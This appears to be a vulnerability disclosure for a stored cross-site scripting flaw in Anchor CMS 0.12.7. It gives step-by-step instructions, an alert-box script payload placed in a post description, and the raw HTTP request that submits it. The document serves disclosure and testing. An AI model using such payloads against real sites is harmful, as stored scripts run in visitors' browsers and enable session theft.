Anchor CMS 0.12.7 - Persistent Cross-Site Scripting (Authenticated)

# Exploit Title: Anchor CMS 0.12.7 - Persistent Cross-Site Scripting (Authenticated)
# Date: 2020-09-24
# Exploit Author: Sinem Şahin
# Vendor Homepage: https://anchorcms.com/
# Version: 0.12.7
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Go to the following url. => http://(HOST)/admin/
2- Login to admin panel.
3- Press "Posts" button.
4- Write XSS Payload into the description of the post.
5- Press "Save" button.
6- Go to the post.

XSS Payload ==> "><script>alert("XSS")</script>

==> HTTP Request <==

POST /admin/posts/edit/1 HTTP/1.1
Host: (HOST)
Content-Length: 262
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: /
Origin: http://(HOST)/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://(HOST)/admin/posts/edit/1
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: anchorcms=21cdfqefqwefl69ij8231
Connection: close

token=mWgKk1tbYN6HAcj0jr6K2VKxBf6C311uemwTIrmEaHIi0zQpe7pNfHVm7zcoa3Fi&title=Post+Title&markdown=%0A&slug=hello-world&created=2020-09-24%2019%3A07%3A10
&description=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E&status=published&category=1&css=&js=&autosave=false